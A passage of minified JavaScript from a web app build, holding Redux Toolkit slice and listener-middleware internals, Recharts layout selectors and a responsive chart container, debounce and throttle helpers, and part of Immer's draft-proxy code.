k)z.addMatcher(_.matcher,_.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let _=z[j];return typeof _>"u"&&k&&(_=Ll(x,S,v)),_}function N(z=m){const _=Ll(h,k,()=>new WeakMap);return Ll(_,z,()=>{const A={};for(const[O,P]of Object.entries(i.selectors??{}))A[O]=PO(P,z,()=>Ll(x,z,v),k);return A})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function PO(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Xt=CO();function EO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function AO({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!OO(r))throw new Error(on(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?zn(e,o):zn(e))}function _O(e){return e._reducerDefinitionType==="asyncThunk"}function OO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function TO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(on(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Il,pending:l||Il,rejected:c||Il,settled:u||Il})}function Il(){}var MO="task",$k="listener",Bk="completed",Fx="cancelled",LO=`task-${Fx}`,IO=`task-${Bk}`,$m=`${$k}-${Fx}`,DO=`${$k}-${Bk}`,zd=class{constructor(e){vf(this,"name","TaskAbortError");vf(this,"message");this.code=e,this.message=`${MO} ${Fx} (reason: ${e})`}},Wx=(e,t)=>{if(typeof e!="function")throw new TypeError(on(32))},iu=()=>{},Fk=(e,t=iu)=>(e.catch(t),e),Wk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ui=e=>{if(e.aborted)throw new zd(e.reason)};function Uk(e,t){let n=iu;return new Promise((r,i)=>{const a=()=>i(new zd(e.reason));if(e.aborted){a();return}n=Wk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=iu})}var RO=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof zd?"cancelled":"rejected",error:n}}finally{t==null||t()}},au=e=>t=>Fk(Uk(e,t).then(n=>(Ui(e),n))),Vk=e=>{const t=au(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:$a}=Object,hy={},Cd="listenerMiddleware",$O=(e,t)=>{const n=r=>Wk(e,()=>r.abort(e.reason));return(r,i)=>{Wx(r);const a=new AbortController;n(a);const o=RO(async()=>{Ui(e),Ui(a.signal);const l=await r({pause:au(a.signal),delay:Vk(a.signal),signal:a.signal});return Ui(a.signal),l},()=>a.abort(IO));return i!=null&&i.autoJoin&&t.push(o.catch(iu)),{result:au(e)(o),cancel(){a.abort(LO)}}}},BO=(e,t)=>{const n=async(r,i)=>{Ui(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Uk(t,Promise.race(l));return Ui(t),c}finally{a()}};return(r,i)=>Fk(n(r,i))},Hk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=zn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(on(21));return Wx(a),{predicate:i,type:t,effect:a}},Kk=$a(e=>{const{type:t,predicate:n,effect:r}=Hk(e);return{id:NO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(on(22))}}},{withTypes:()=>Kk}),xy=(e,t)=>{const{type:n,effect:r,predicate:i}=Hk(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Bm=e=>{e.pending.forEach(t=>{t.abort($m)})},FO=(e,t)=>()=>{for(const n of t.keys())Bm(n);e.clear()},vy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},qk=$a(zn(`${Cd}/add`),{withTypes:()=>qk}),WO=zn(`${Cd}/removeAll`),Yk=$a(zn(`${Cd}/remove`),{withTypes:()=>Yk}),UO=(...e)=>{console.error(`${Cd}/error`,...e)},Zo=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=UO}=e;Wx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Bm(h)}),c=h=>{const x=xy(t,h)??Kk(h);return l(x)};$a(c,{withTypes:()=>c});const u=h=>{const x=xy(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Bm(x)),!!x};$a(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=BO(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,$a({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Vk(v.signal),pause:au(v.signal),extra:a,signal:v.signal,fork:$O(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort($m),S.delete(j))})},cancel:()=>{v.abort($m),h.pending.delete(v)},throwIfCancelled:()=>{Ui(v.signal)}})))}catch(j){j instanceof zd||vy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(DO),i(h),h.pending.delete(v)}},f=FO(t,n);return{middleware:h=>x=>g=>{if(!kk(g))return x(g);if(qk.match(g))return c(g.payload);if(WO.match(g)){f();return}if(Yk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===hy)throw new Error(on(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,vy(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=hy}return b},startListening:c,stopListening:u,clearListeners:f}};function on(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var VO={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Gk=Xt({name:"chartLayout",initialState:VO,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:HO,setLayout:KO,setChartSize:qO,setScale:YO}=Gk.actions,GO=Gk.reducer;function Xk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ze(e){return Number.isFinite(e)}function vi(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function gy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Aa(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?gy(Object(n),!0).forEach(function(r){XO(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):gy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function XO(e,t,n){return(t=ZO(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ZO(e){var t=QO(e,"string");return typeof t=="symbol"?t:t+""}function QO(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Fe(e,t,n){return Pt(e)||Pt(t)?n:Pr(t)?Co(e,t,n):typeof t=="function"?t(e):n}var JO=(e,t,n)=>{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&he(e[a]))return Aa(Aa({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&he(e[o]))return Aa(Aa({},e),{},{[o]:e[o]+(i||0)})}return e},dr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",eT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i<r;++i)for(var a=0,o=0,l=0;l<n;++l){var c=e[l],u=c==null?void 0:c[i];if(u!=null){var d=u[1],f=u[0],m=or(d)?f:d;m>=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},tT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i<r;++i)for(var a=0,o=0;o<n;++o){var l=e[o],c=l==null?void 0:l[i];if(c!=null){var u=or(c[1])?c[0]:c[1];u>=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},nT={sign:eT,expand:V_,none:ea,silhouette:H_,wiggle:K_,positive:tT},rT=(e,t,n)=>{var r,i=(r=nT[n])!==null&&r!==void 0?r:ea,a=U_().keys(t).value((l,c)=>Number(Fe(l,c,0))).order(Em).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Fe(e[d],t[c],0);Array.isArray(f)&&f.length===2&&he(f[0])&&he(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function iT(e){return e==null?void 0:String(e)}function yy(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Pt(i[t.dataKey])){var l=Wj(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Fe(i,Pt(o)?t.dataKey:o),u=t.scale.map(c);return he(u)?u:null}var aT=e=>{var t=e.flat(2).filter(he);return[Math.min(...t),Math.max(...t)]},sT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],oT=(e,t,n)=>{if(e!=null)return sT(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Xk(u,t,n),f=aT(d);return!ze(f[0])||!ze(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},by=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,wy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,su=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=gd(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o<l;o++){var c=i[o],u=i[o-1];a=Math.min(((c==null?void 0:c.coordinate)||0)-((u==null?void 0:u.coordinate)||0),a)}return a===1/0?0:a}return n?void 0:0};function jy(e){var{tooltipEntrySettings:t,dataKey:n,payload:r,value:i,name:a}=e;return Aa(Aa({},t),{},{dataKey:n,payload:r,value:i,name:a})}function Pd(e,t){if(e)return String(e);if(typeof t=="string")return t}var lT=(e,t)=>{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},cT=(e,t)=>t==="centric"?e.angle:e.radius,Rr=e=>e.layout.width,$r=e=>e.layout.height,uT=e=>e.layout.scale,Zk=e=>e.layout.margin,Ed=T(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Ad=T(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Qk="data-recharts-item-index",Jk="data-recharts-item-id",Qo=60;function ky(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dl(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?ky(Object(n),!0).forEach(function(r){dT(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ky(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function dT(e,t,n){return(t=fT(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function fT(e){var t=pT(e,"string");return typeof t=="symbol"?t:t+""}function pT(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var mT=e=>e.brush.height;function hT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function xT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function vT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function gT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var yt=T([Rr,$r,Zk,mT,hT,xT,vT,gT,bk,q6],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Dl(Dl({},f),d),h=m.bottom;m.bottom+=r,m=JO(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Dl(Dl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),yT=T(yt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));T(Rr,$r,(e,t)=>({x:0,y:0,width:e,height:t}));var bT=p.createContext(null),Kn=()=>p.useContext(bT)!=null,_d=e=>e.brush,Od=T([_d,yt,Zk],(e,t,n)=>({height:e.height,x:he(e.x)?e.x:t.left,y:he(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:he(e.width)?e.width:t.width})),eN={},tN={},nN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(nN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=nN;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})(tN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=tN;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(eN);var wT=eN.throttle;const jT=Lr(wT);var Ny=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;a<r;a++)i[a-2]=arguments[a];if(typeof console<"u"&&console.warn&&(n===void 0&&console.warn("LogUtils requires an error message argument"),!t))if(n===void 0)console.warn("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var o=0;console.warn(n.replace(/%s/g,()=>i[o++]))}},nr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},rN=(e,t,n)=>{var{width:r=nr.width,height:i=nr.height,aspect:a,maxHeight:o}=n,l=ta(r)?e:Number(r),c=ta(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},kT={width:0,height:0,overflow:"visible"},NT={width:0,overflowX:"visible"},ST={height:0,overflowY:"visible"},zT={},CT=e=>{var{width:t,height:n}=e,r=ta(t),i=ta(n);return r&&i?kT:r?NT:i?ST:zT};function PT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=nr.width,a=nr.height):i===void 0?i=r&&r>0?void 0:nr.width:a===void 0&&(a=r&&r>0?void 0:nr.height),{width:i,height:a}}function Fm(){return Fm=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Fm.apply(null,arguments)}function Sy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zy(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Sy(Object(n),!0).forEach(function(r){ET(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Sy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function ET(e,t,n){return(t=AT(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function AT(e){var t=_T(e,"string");return typeof t=="symbol"?t:t+""}function _T(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var iN=p.createContext(nr.initialDimension);function OT(e){return vi(e.width)&&vi(e.height)}function aN(e){var{children:t,width:n,height:r}=e,i=p.useMemo(()=>({width:n,height:r}),[n,r]);return OT(i)?p.createElement(iN.Provider,{value:i},t):null}var Ux=()=>p.useContext(iN),TT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=nr.initialDimension,width:i,height:a,minWidth:o=nr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=nr.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,_)=>{b(A=>{var O=Math.round(z),P=Math.round(_);return A.containerWidth===O&&A.containerHeight===P?A:{containerWidth:O,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return cs;var z=P=>{var I,U=P[0];if(U!=null){var{width:D,height:M}=U.contentRect;w(D,M),(I=y.current)===null||I===void 0||I.call(y,D,M)}};d>0&&(z=jT(z,d,{trailing:!0,leading:!1}));var _=new ResizeObserver(z),{width:A,height:O}=g.current.getBoundingClientRect();return w(A,O),_.observe(g.current),()=>{_.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;Ny(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=rN(j,k,{width:i,height:a,aspect:n,maxHeight:c});return Ny(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0,
please check the style of container, or the props width(%s) and height(%s),
or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the
height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Xe("recharts-responsive-container",m),style:zy(zy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:CT({width:i,height:a})},p.createElement(aN,{width:S,height:N},u)))}),Cy=p.forwardRef((e,t)=>{var n=Ux();if(vi(n.width)&&vi(n.height))return e.children;var{width:r,height:i}=PT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=rN(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return he(a)&&he(o)?p.createElement(aN,{width:a,height:o},e.children):p.createElement(TT,Fm({},e,{width:r,height:i,ref:t}))});function Vx(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Td=()=>{var e,t=Kn(),n=ye(yT),r=ye(Od),i=(e=ye(_d))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},MT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},LT=()=>{var e;return(e=ye(yt))!==null&&e!==void 0?e:MT},IT=()=>ye(Rr),DT=()=>ye($r),Me=e=>e.layout.layoutType,us=()=>ye(Me),RT=()=>{var e=us();if(e==="horizontal"||e==="vertical")return e},sN=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},$T=()=>{var e=us();return e!==void 0},Jo=e=>{var t=it(),n=Kn(),{width:r,height:i}=e,a=Ux(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&vi(o)&&vi(l)&&t(qO({width:o,height:l}))},[t,n,o,l]),null},oN=Symbol.for("immer-nothing"),Py=Symbol.for("immer-draftable"),cn=Symbol.for("immer-state");function Dn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Oo=Object.getPrototypeOf;function Qa(e){return!!e&&!!e[cn]}function ra(e){var t;return e?lN(e)||Array.isArray(e)||!!e[Py]||!!((t=e.constructor)!=null&&t[Py])||el(e)||Ld(e):!1}var BT=Object.prototype.constructor.toString(),Ey=new WeakMap;function lN(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Ey.get(n);return r===void 0&&(r=Function.toString.call(n),Ey.set(n,r)),r===BT}function ou(e,t,n=!0){Md(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Md(e){const t=e[cn];return t?t.type_:Array.isArray(e)?1:el(e)?2:Ld(e)?3:0}function Wm(e,t){return Md(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function cN(e,t,n){const r=Md(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function FT(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function el(e){return e instanceof Map}function Ld(e){return e instanceof Set}function Oi(e){return e.copy_||e.base_}function Um(e,t){if(el(e))return new Map(e);if(Ld(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=lN(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[cn];let i=Reflect.ownKeys(r);for(let a=0;a<i.length;a++){const o=i[a],l=r[o];l.writable===!1&&(l.writable=!0,l.configurable=!0),(l.get||l.set)&&(r[o]={configurable:!0,writable:!0,enumerable:l.enumerable,value:e[o]})}return Object.create(Oo(e),r)}else{const r=Oo(e);if(r!==null&&n)return{...e};const i=Object.create(r);return Object.assign(i,e)}}function Hx(e,t=!1){return Id(e)||Qa(e)||!ra(e)||(Md(e)>1&&Object.defineProperties(e,{set:Rl,add:Rl,clear:Rl,delete:Rl}),Object.freeze(e),t&&Object.values(e).forEach(n=>Hx(n,!0))),e}function WT(){Dn(2)}var Rl={value:WT};function Id(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var UT={};function ia(e){const t=UT[e];return t||Dn(0,e),t}var To;function uN(){return To}function VT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Ay(e,t){t&&(ia("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Vm(e){Hm(e),e.drafts_.forEach(HT),e.drafts_=null}function Hm(e){e===To&&(To=e.parent_)}function _y(e){return To=VT(To,e)}function HT(e){const t=e[cn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Oy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[cn].modified_&&(Vm(t),Dn(4)),ra(e)&&(e=lu(t,e),t.parent_||cu(t,e)),t.patches_&&ia("Patches").generateReplacementPatches_(n[cn].base_,e,t.patches_,t.inversePatches_)):e=lu(t,n,[]),Vm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==oN?e:void 0}function lu(e,t,n){if(Id(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[cn];if(!i)return ou(t,(a,o)=>Ty(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return cu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),ou(o,(c,u)=>Ty(e,i,a,c,u,n,l),r),cu(e,a,!1),n&&e.patches_&&ia("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Ty(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=Id(i);if(!(l&&!o)){if(Qa(i)){const c=a&&t&&t.type_!==3&&!Wm(t.assigned_,r)?a.concat(r):void 0,u=lu(e,i,c);if(cN(n,r,u),Qa(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ra(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;lu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(el(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&cu(e,i)}}}function cu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Hx(t,n)}function KT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:uN(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Kx;n&&(i=[r],a=Mo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Kx={get(e,t){if(t===cn)return e;const n=Oi(e);if(!Wm(n,t))return qT(e,n,t);const r=n[t];return e.finalized_||!ra(r)?r:r===tp(e.base_,t)?(np(e),e.copy_[t]=qm(r,e)):r},has(e,t){return t in Oi(e)},ownKeys(e){return Reflect.ownKeys(Oi(e))},set(e,t,n){const r=dN(Oi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=tp(Oi(e),t),a=i==null?void 0:i[cn];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(FT(n,i)&&(n!==void 0||Wm(e.base_,t)))return!0;np(e),Km(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return tp(e.base_,t)!==void 0||t in 